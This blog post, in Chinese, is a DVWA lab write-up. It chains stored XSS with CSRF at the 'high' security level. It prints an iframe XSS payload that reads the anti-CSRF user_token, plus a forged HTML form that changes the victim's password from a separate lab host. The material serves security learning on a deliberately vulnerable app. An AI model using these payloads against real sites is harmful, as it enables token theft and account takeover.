zoukankan      html  css  js  c++  java
  • DVWA之CSRF中high等级结合存储型XSS攻击

    通过burpsuite抓包分析high级别加入了验证token机制,每次修改密码需要提交服务器生成的随机的token参数。

    high等级的数据包

     

    如果该网站存在XSS漏洞可以利用,那么就可以实现high等级下的CSRF漏洞,所以需要利用DVWA的XSS漏洞板块,获取同等级CSRF板块下的user_token,然后构造网站。

    这里我是在存储型XSS中txtname框输入,因为有字数限制,所以需要拦截后更改。

    txtName=<iframe src="../CSRF" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

    获取其user_token。

    利用存储性XSS漏洞

     

    获取user_token

     

    然后将这个token放入构造的html

    <html>
        <body>
            <form action="http://192.168.204.136/dvwa/vulnerabilities/csrf/?">
                <input type="hidden" name="password_new" value="high"/>
                <input type="hidden" name="password_conf" value="high"/>
                <input type="hidden" name="Change" value="Change"/>
                <input type="hidden" name="user_token" value="xxxxx"/>
                <input type="submit" value="Ciick Me"/>
            </form>
        </body>
    </html>

    构造html

    为了强调跨站,我把该html放在了host为192.168.204.142的服务器里,DVWA的主机host是192.168.204.136。

    受害者访问

    访问钓鱼网站

    成功将密码修改为high

    修改密码成功

    验证登录

    个人思考:

    通过反射型XSS完成CSRF的攻击应该是不现实的,因为获取的token是一次性的,如果受害者在点击此构造网站之前随便访问了原网站的其他信息,或者token被消耗更新,token就会改变,因此,结合反射型XSS的CSRF攻击在现实中很容易失去有时效性的token。所以只能配合存储型的XSS,在构造网站的时候需要先跳转至XSS模块利用此漏洞获取token,然后才将修改密码表单发送,这个html网站的构造我还没有实现。

     

  • 相关阅读:
    Mbps、Kbps、bps、kb、mb区别和换算
    Python导入模块方法
    C# WinForm 程序免安装 .NET Framework(XP/win7/win10环境运行)
    生成缩略图
    WCF 的优势和特点
    不要在using语句中调用WCF服务
    pb getchild获取DropDownDW子窗体后进行取值
    Bootstrap后台管理模板调研
    PB调用C#编写的DLL
    PowerBuilder与嵌入浏览器交互
  • 原文地址:https://www.cnblogs.com/zhengxin909/p/15570319.html
Copyright © 2011-2022 走看看